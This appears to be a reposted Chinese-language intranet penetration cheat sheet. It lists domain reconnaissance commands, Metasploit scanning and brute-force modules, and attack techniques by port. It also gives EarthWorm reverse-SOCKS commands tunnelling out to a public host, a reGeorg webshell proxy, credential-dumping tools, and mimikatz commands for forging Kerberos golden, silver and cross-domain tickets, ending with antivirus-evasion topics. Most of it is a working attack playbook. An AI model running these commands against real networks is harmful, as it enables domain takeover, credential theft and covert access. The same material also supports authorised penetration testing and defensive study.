1. 程式人生 > 實用技巧 >內網資訊收集總結

內網資訊收集總結

Hack_For_Intranet

0x01. 資訊收集

1.常見資訊收集命令

ipconfig:

ipconfig /all ------> 查詢本機 IP 段,所在域等

net:

net user ------> 本機使用者列表
net localgroup administrators ------> 本機管理員[通常含有域使用者]
net user /domain ------> 查詢域使用者
net group /domain ------> 查詢域裡面的工作組
net group "domain admins" /domain ------> 查詢域管理員使用者組
net localgroup administrators /domain ------> 登入本機的域管理員
net localgroup administrators workgroup\user001 /add ----->域使用者新增到本機 net group "Domain controllers" -------> 檢視域控制器(如果有多臺)
net view ------> 查詢同一域內機器列表 net view /domain ------> 查詢域列表
net view /domain:domainname

dsquery

dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出該域內所有機器名
dsquery user domainroot -limit 65535 && net user /domain------>列出該域內所有使用者名稱
dsquery subnet ------>列出該域內網段劃分
dsquery group && net group /domain ------>列出該域內分組 
dsquery ou ------>列出該域內組織單位 
dsquery server && net time /domain------>列出該域內域控制器 

2.第三方資訊收集

    NETBIOS 資訊收集
    SMB 資訊收集
    空會話資訊收集
    漏洞資訊收集等

3.內網主動掃描相關

1.nmap 等工具掃描

2.msf自帶模組掃描

MSF內網滲透 掃描模組

埠掃描

auxiliary/scanner/portscan
scanner/portscan/ack        ACK防火牆掃描
scanner/portscan/ftpbounce  FTP跳埠掃描
scanner/portscan/syn        SYN埠掃描
scanner/portscan/tcp        TCP埠掃描
scanner/portscan/xmas       TCP"XMas"埠掃描

SMB掃描

smb列舉auxiliary/scanner/smb/smb_enumusers
返回DCERPC資訊auxiliary/scanner/smb/pipe_dcerpc_auditor
掃描SMB2協議auxiliary/scanner/smb/smb2
掃描smb共享檔案auxiliary/scanner/smb/smb_enumshares
列舉系統上的使用者auxiliary/scanner/smb/smb_enumusers
SMB登入auxiliary/scanner/smb/smb_login
SMB登入use windows/smb/psexec(通過md5值登入)
掃描組的使用者auxiliary/scanner/smb/smb_lookupsid
掃描系統版本auxiliary/scanner/smb/smb_version

mssql掃描(埠tcp1433udp1434)

admin/mssql/mssql_enum     MSSQL列舉
admin/mssql/mssql_exec     MSSQL執行命令
admin/mssql/mssql_sql      MSSQL查詢
scanner/mssql/mssql_login  MSSQL登陸工具
scanner/mssql/mssql_ping   測試MSSQL的存在和資訊

另外還有一個mssql_payload的模組 利用使用的

smtp掃描

smtp列舉auxiliary/scanner/smtp/smtp_enum
掃描smtp版本auxiliary/scanner/smtp/smtp_version

snmp掃描

通過snmp掃描裝置auxiliary/scanner/snmp/community

ssh掃描

ssh登入auxiliary/scanner/ssh/ssh_login
ssh公共金鑰認證登入auxiliary/scanner/ssh/ssh_login_pubkey
掃描ssh版本測試auxiliary/scanner/ssh/ssh_version

telnet掃描

telnet登入auxiliary/scanner/telnet/telnet_login
掃描telnet版本auxiliary/scanner/telnet/telnet_version

tftp掃描

掃描tftp的檔案auxiliary/scanner/tftp/tftpbrute

ftp版本掃描scanner/ftp/anonymous
ARP掃描

auxiliary/scanner/discovery/arp_sweep

掃描UDP服務的主機auxiliary/scanner/discovery/udp_probe
檢測常用的UDP服務auxiliary/scanner/discovery/udp_sweep
sniffer密碼auxiliary/sniffer/psnuffle
snmp掃描scanner/snmp/community
vnc掃描無認證掃描scanner/vnc/vnc_none_auth

3.Cobalt Strike掃描 
    本身支援的arp icmp等協議掃描
    各種豐富的第三方外掛(注意安全)根據需求各取所需,比如Ladon,taowu等等。。。。。。

3.指令碼掃描
  ps,py,ruby,php,Java,asp等等各種支援當前環境的掃描指令碼

4.常見埠與服務

| 埠號 | 埠說明 | 攻擊技巧 |
|--------|--------|--------|
|21/22/69 |ftp/tftp:檔案傳輸協議 |爆破\嗅探\溢位\後門|
|22 |ssh:遠端連線 |爆破OpenSSH;28個退格|
|23 |telnet:遠端連線 |爆破\嗅探|
|25 |smtp:郵件服務 |郵件偽造|
|53	|DNS:域名系統 |DNS區域傳輸\DNS劫持\DNS快取投毒\DNS欺騙\利用DNS隧道技術刺透防火牆|
|67/68 |dhcp |劫持\欺騙|
|110 |pop3 |爆破|
|139 |samba |爆破\未授權訪問\遠端程式碼執行|
|143 |imap |爆破|
|161 |snmp |爆破|
|389 |ldap |注入攻擊\未授權訪問|
|445 |SMB |遠端程式碼執行|
|512/513/514 |linux r|直接使用rlogin|
|873 |rsync |未授權訪問|
|1080 |socket |爆破:進行內網滲透|
|1352 |lotus |爆破:弱口令\資訊洩漏:原始碼|
|1433 |mssql |爆破:使用系統使用者登入\注入攻擊|
|1521 |oracle |爆破:TNS\注入攻擊|
|2049 |nfs |配置不當|
|2181 |zookeeper |未授權訪問|
|3306 |mysql |爆破\拒絕服務\注入|
|3389 |rdp |爆破\Shift後門|
|4848 |glassfish |爆破:控制檯弱口令\認證繞過|
|5000 |sybase/DB2 |爆破\注入|
|5432 |postgresql |緩衝區溢位\注入攻擊\爆破:弱口令|
|5632 |pcanywhere |拒絕服務\程式碼執行|
|5900 |vnc |爆破:弱口令\認證繞過|
|6379 |redis |未授權訪問\爆破:弱口令|
|7001 |weblogic |Java反序列化\控制檯弱口令\控制檯部署webshell|
|80/443/8080 |web |常見web攻擊\控制檯爆破\對應伺服器版本漏洞|
|8069 |zabbix |遠端命令執行|
|9080 |websphere |遠端命令執行
|9090 |websphere控制檯 |爆破:控制檯弱口令\Java反序列|
|9200/9300 |elasticsearch |遠端程式碼執行|
|11211 |memcacache |未授權訪問|
|27017 |mongodb |爆破\未授權訪問|

5.內網拓撲架構分析

    DMZ
    管理網
    生產網
    測試網

6.主機資訊收集

1、使用者列表

windows使用者列表 分析郵件使用者,內網[域]郵件使用者,通常就是內網[域]使用者
2、程序列表

析防毒軟體/安全監控工具等 郵件客戶端 VPN ftp等
3、服務列表

與安全防範工具有關服務[判斷是否可以手動開關等] 存在問題的服務[許可權/漏洞]
4、埠列表

開放埠對應的常見服務/應用程式[匿名/許可權/漏洞等] 利用埠進行資訊收集
5、補丁列表

分析 Windows 補丁 第三方軟體[Java/Oracle/Flash 等]漏洞
6、本機共享

本機共享列表/訪問許可權 本機訪問的域共享/訪問許可權
7、本使用者習慣分析

歷史記錄 收藏夾 文件等
8、獲取當前使用者密碼工具
Windows

   mimikatz
   wce
   Invoke-WCMDump
   mimiDbg
   LaZagne
   nirsoft_package
   QuarksPwDump fgdump
   星號檢視器等

Linux

   LaZagne
   mimipenguin

0x02. 常用工具與代理相關

1.代理分類

代理伺服器(ProxyServer)是網路資訊的中轉站,它接收客戶端的訪問請求,並以自己的身份轉發此請求。對於接收資訊的一方而佔,就像代理伺服器向它提出請求一樣,從而保護了客戶端,增加了反向追蹤的難度。

根據代理服務的功能劃分,代理伺服器可以分為:http代理伺服器、sock5代理伺服器、VPN代理伺服器等。

http代理:
    http代理服器是一種最常見的代理伺服器,它的優點是響應速度快、延遲相對較低及數量眾多,如:Reduh、Tunna、reGeorg、Weevely、ABPTTS,通常不費吹灰之力就町以找到一個不錯的http代理伺服器。不過,它的缺點也比較明顯,僅能響應http通訊協議,並濾除80、8080等Web常用埠外的其他埠訪問請求
    舉例:reGeorg,下載地址:https://github.com/sensepost/reGeorg,將reGeorg,上傳到服務端。直接訪問上傳的reGeorg檔案,提示“Georg says, 'All seems fine'”,則為正常,然後用在客戶端使用命令列,執行py程式:python reGeorgSocksProxy.py -p 8080 -u http: //www.XXX.com/tunnel.jsp,接下來只要使用Socks5的工具,將代理指向127.0.0.1:8080,就可以了

Socks代理伺服器:
    Sock5代理伺服器最常用。它對訪問協議、訪問埠方面均沒有限制,可以轉發各種協議的通訊請求。常見工具:Frp,Earthworm, Ssocks,msf做socks代理,CobaltStrike做socks4a代理
    
    EW(EarthWorm)使用:
    正向 SOCKS v5 伺服器:
    ./ew -s ssocksd -l 1080
    
    反彈 SOCKS v5 伺服器:
    a) 先在一臺具有公網 ip 的主機A上執行以下命令:
    $ ./ew -s rcsocks -l 1080 -e 8888 
    b) 在目標主機B上啟動 SOCKS v5 服務 並反彈到公網主機的 8888埠
    $ ./ew -s rssocks -d 1.1.1.1 -e 8888 
    
    多級級聯
    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
    $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
    
    lcx_tran 的用法
    $ ./ew -s ssocksd -l 9999
    $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
    
    lcx_listen、lcx_slave 的用法
    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s ssocksd -l 9999
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

    “三級級聯”的本地SOCKS測試用例以供參考
    $ ./ew -s rcsocks -l 1080 -e 8888
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    $ ./ew -s lcx_listen -l 9999 -e 7777
    $ ./ew -s rssocks -d 127.0.0.1 -e 7777
    
VPN代理伺服器
    常見vpn 協議:PPTP,L2TP,IPSec,SSLVPN,OpenVPN,搭建工具推薦:https://github.com/hwdsl2/setup-ipsec-vpn,https://github.com/SoftEtherVPN/SoftEtherVPN

2.METASPLOIT簡單使用

msf簡單使用:
1.https://www.freebuf.com/news/210292.html
2.https://www.jianshu.com/p/1adbabecdcbd

3.Cobalt Strike簡單使用

cs簡單使用:
1.https://www.freebuf.com/company-information/167460.html
2.https://www.jianshu.com/p/8d823adbc6b5

0x03. 非域滲透

埠掃描

    1.埠的指紋資訊(版本資訊)
    2.埠所對應執行的服務
    3.常見的預設埠號
    4.嘗試弱口令

埠爆破

hydra
埠弱口令

    NTScan
    Hscan
    自寫指令碼

埠溢位

smb

    ms08067
    ms17010
    ms11058
    ...

apache ftp ...
常見的預設埠
1、web類(web漏洞/敏感目錄)

第三方通用元件漏洞: struts thinkphp jboss ganglia zabbix ...

80 web 
80-89 web 
8000-9090 web 

2、資料庫類(掃描弱口令)

1433 MSSQL 
1521 Oracle 
3306 MySQL 
5432 PostgreSQL 
50000 DB2

3、特殊服務類(未授權/命令執行類/漏洞)

443 SSL心臟滴血 
445 ms08067/ms11058/ms17010等 
873 Rsync未授權 
5984 CouchDB http://xxx:5984/_utils/ 
6379 redis未授權 
7001,7002 WebLogic預設弱口令,反序列 
9200,9300 elasticsearch 參考WooYun: 多玩某伺服器ElasticSearch命令執行漏洞 
11211 memcache未授權訪問 
27017,27018 Mongodb未授權訪問 
50000 SAP命令執行 
50070,50030 hadoop預設埠未授權訪問 

4、常用埠類(掃描弱口令/埠爆破)

21 ftp 
22 SSH 
23 Telnet 
445 SMB弱口令掃描 
2601,2604 zebra路由,預設密碼zebra 
3389 遠端桌面 

0x04. 域滲透

1.域資訊收集

常用收集域資訊命令

ipconfig /all ------ 查詢本機IP段,所在域等
net user ------ 本機使用者列表
net localhroup administrators ------ 本機管理員[通常含有域使用者]
net user /domain ------ 查詢域使用者
net group /domain ------ 查詢域裡面的工作組
net group “domain admins” /domain ------ 查詢域管理員使用者組
net localgroup administrators /domain ------ 登入本機的域管理員
net localgroup administrators workgroup\user001 /add ------域使用者新增到本機
net group “domain controllers” /domain ------ 檢視域控制器(如果有多臺)
net time /domain ------ 判斷主域,主域伺服器都做時間伺服器
net config workstation ------ 當前登入域
net session ------ 檢視當前會話
net use \ip\ipc$ pawword /user:username ------ 建立IPC會話[空連線-***]
net share ------ 檢視SMB指向的路徑[即共享]
net view ------ 查詢同一域內機器列表
net view \ip ------ 查詢某IP共享
net view /domain ------ 查詢域列表
net view /domain:domainname ------ 檢視workgroup域中計算機列表
net start ------ 檢視當前執行的服務
net accounts ------ 檢視本地密碼策略
net accounts /domain ------ 檢視域密碼策略
nbtstat –A ip ------netbios 查詢
netstat –an/ano/anb ------ 網路連線查詢
route print ------ 路由表

dsquery computer ----- finds computers in the directory.
dsquery contact ----- finds contacts in thedirectory.
dsquery subnet ----- finds subnets in thedirectory.
dsquery group ----- finds groups in thedirectory.
dsquery ou ----- finds organizationalunits in the directory.
dsquery site ----- finds sites in thedirectory.
dsquery server ----- finds domain controllers inthe directory.
dsquery user ----- finds users in thedirectory.
dsquery quota ----- finds quota specificationsin the directory.
dsquery partition ----- finds partitions in thedirectory.
dsquery * ----- finds any object inthe directory by using a generic LDAP query.
dsquery server –domain Yahoo.com | dsget server–dnsname –site —搜尋域內域控制器的DNS主機名和站點名
dsquery computer domainroot –name -xp –limit 10----- 搜尋域內以-xp結尾的機器10臺
dsquery user domainroot –name admin -limit ---- 搜尋域內以admin開頭的使用者10個

tasklist /V ----- 檢視程序[顯示對應使用者]
tasklist /S ip /U domain\username /P /V ----- 檢視遠端計算機程序列表
qprocess * ----- 類似tasklist
qprocess /SERVER:IP ----- 遠端檢視計算機程序列表
nslookup –qt-MX Yahoo.com ----- 檢視郵件伺服器
whoami /all ----- 查詢當前使用者許可權等
set ----- 檢視系統環境變數
systeminfo ----- 檢視系統資訊
qwinsta ----- 檢視登入情況
qwinsta /SERVER:IP ----- 檢視遠端登入情況
fsutil fsinfo drives ----- 檢視所有碟符
gpupdate /force ----- 更新域策略

wmic bios ----- 檢視bios資訊
wmic qfe ----- 檢視補丁資訊
wmic qfe get hotfixid ----- 檢視補丁-Patch號
wmic startup ----- 檢視啟動項
wmic service ----- 檢視服務
wmic os ----- 檢視OS資訊
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:“hostname” bios get serialnumber (this can be great for finding warranty info about target)

2.常規滲透思路

    通過域成員主機,定位出域控制器IP及域管理員賬號,利用域成員主機作為跳板,擴大滲透範圍,利用域管理員可以登陸域中任何成員主機的特性,定位出域管理員登陸過的主機IP,設法從域成員主機記憶體中dump出域管理員密碼,進而拿下域控制器、滲透整個內網
    在域滲透過程如果發現域管理員的密碼已經修改,可嘗試利用krbtgt使用者的歷史hash來進行票據傳遞攻擊,krbtgt使用者的密碼一般不會有人去修改
    域滲透過程中可能會使用到MS14-068這個漏洞,利用該漏洞可以將任何一個域使用者提權至域管理員許可權

GoldenTicket

    Golden Ticket(下面稱為金票)是通過偽造的TGT(TicketGranting Ticket),因為只要有了高許可權的TGT,那麼就可以傳送給TGS換取任意服務的ST。可以說有了金票就有了域內的最高許可權
    製作金票的條件:
    1、域名稱
    2、域的SID值
    3、域的KRBTGT賬戶密碼HASH
    4、偽造使用者名稱,可以是任意的
    利用過程
    金票的生成需要用到krbtgt的密碼HASH值,可以通過mimikatz中的lsadump::dcsync /test.test.org /user:krbtgt 命令獲取krbtgt的值
    
    得到KRBTGT HASH之後使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即為偽造成功的TGT
    mimikatz中:
    kerberos::golden /admin:administrator /domain:test.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:{KRBTGT HASH} /ticket:golden.kiribi
     /admin:偽造的使用者名稱
     /domain:域名稱
     /sid:SID值,注意是去掉最後一個-後面的值
     /krbtgt:krbtgt的HASH值
     /ticket:生成的票據名稱
     
   通過mimikatz中的kerberos::ptt功能(Pass The Ticket)將golden.kiribi匯入記憶體中。
    kerberos::purge
    kerberos::ptt golden.kiribi
    kerberos::list
    
    此時就可以通過dir成功訪問域控的共享資料夾。
    dir \\OWA.test.org\c$

SilverTickets

    Silver Tickets(下面稱銀票)就是偽造的ST(Service Ticket),因為在TGT已經在PAC裡限定了給Client授權的服務(通過SID的值),所以銀票只能訪問指定服務。
    
    黃金票據和白銀票據的一些區別: Golden Ticket:偽造TGT,可以獲取任何Kerberos服務許可權 銀票:偽造TGS,只能訪問指定的服務 加密方式不同: Golden Ticket由krbtgt的hash加密 Silver Ticket由服務賬號(通常為計算機賬戶)Hash加密 認證流程不同: 金票在使用的過程需要同域控通訊 銀票在使用的過程不需要同域控通訊
    
    製作銀票的條件:
    1.域名稱
    2.域的SID值
    3.域的服務賬戶的密碼HASH(不是krbtgt,是域控)
    4.偽造的使用者名稱,可以是任意使用者名稱,這裡是silver_test
    
    需要知道服務賬戶的密碼HASH,這裡同樣拿域控來舉例,通過mimikatz檢視當前域賬號administrator的HASH值
    mimikatz生成銀票
    kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA.test.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt
    引數說明:
    /domain:當前域名稱
    /sid:SID值,和金票一樣取前面一部分
    /target:目標主機,這裡是OWA.TEST.ORG
    /service:服務名稱,這裡需要訪問共享檔案,所以是cifs
    /rc4:目標主機的HASH值
    /user:偽造的使用者名稱
    /ptt:表示的是Pass TheTicket攻擊,是把生成的票據匯入記憶體,也可以使用/ticket匯出之後再使用kerberos::ptt來匯入
    這時通過klist檢視當前會話的kerberos票據可以看到生成的票據
    
    dir \\OWA.test.org\c$訪問DC的共享資料夾

EnhancedGolden Tickets

    在Golden Ticket部分說明可利用krbtgt的密碼HASH值生成金票,從而能夠獲取域控許可權同時能夠訪問域內其他主機的任何服務。但是普通的金票不能夠跨域使用,也就是說金票的許可權被限制在當前域內
    域樹與域林
    
    TEST.ORG為根域,TEST1.TEST.ORG和 TEST2.TEST.ORG 均為 TEST.ORG的子域,這三個域組成了一個域樹。子域的概念可以理解為一個集團在不同業務上分公司,他們有業務重合的點並且都屬於 TEST1.ORG這個根域,但又獨立運作。同樣 TEST1.COM 也是一個單獨的域樹,兩個域樹 TEST.ORG 和 TEST1.ORG 組合起來被稱為一個域林。

   普通金票的侷限性

   TEST.ORG為其他兩個域(TEST1.TEST.ORG和TEST2.TEST.ORG)的根域,根域和其他域的最大的區別就是根域對整個域林都有控制權。而域正是根據Enterprise Admins組來實現這樣的許可權劃分。

   Enterprise Admins組
   EnterpriseAdmins組是域中使用者的一個組,只存在於一個林中的根域中,這個組的成員,這裡也就是TEST.ORG中的Administrator使用者(不是本地的Administrator,是域中的Administrator)對域有完全管理控制權。

   Domain Admins組
   子域中是不存在EnterpriseAdmins組的,在一個子域中許可權最高的組就是Domain Admins組。TEST.TEST.ORG這個子域中的Administrator使用者,這個Administrator有當前域的最高許可權
   
   知道根域的SID那麼就可以通過子域的KRBTGT的HASH值,使用mimikatz建立具有 EnterpriseAdmins組許可權(域林中的最高許可權)的票據,然後通過mimikatz重新生成包含根域SID的新的金票
   
   此時的這個票據票是擁有整個域林的控制權的

0x05. 後門

0x06. 免殺相關

1.常見反病毒軟體查殺方式:

    1.基於特徵
    2.基於行為

二.shellcode 免殺總結
   shellcode"分離"免殺 
   shellcode"混淆"免殺
   白名單載入shellcode

來自:https://github.com/JohnnyZhouX/Hack_For_Intranet/blob/main/README.md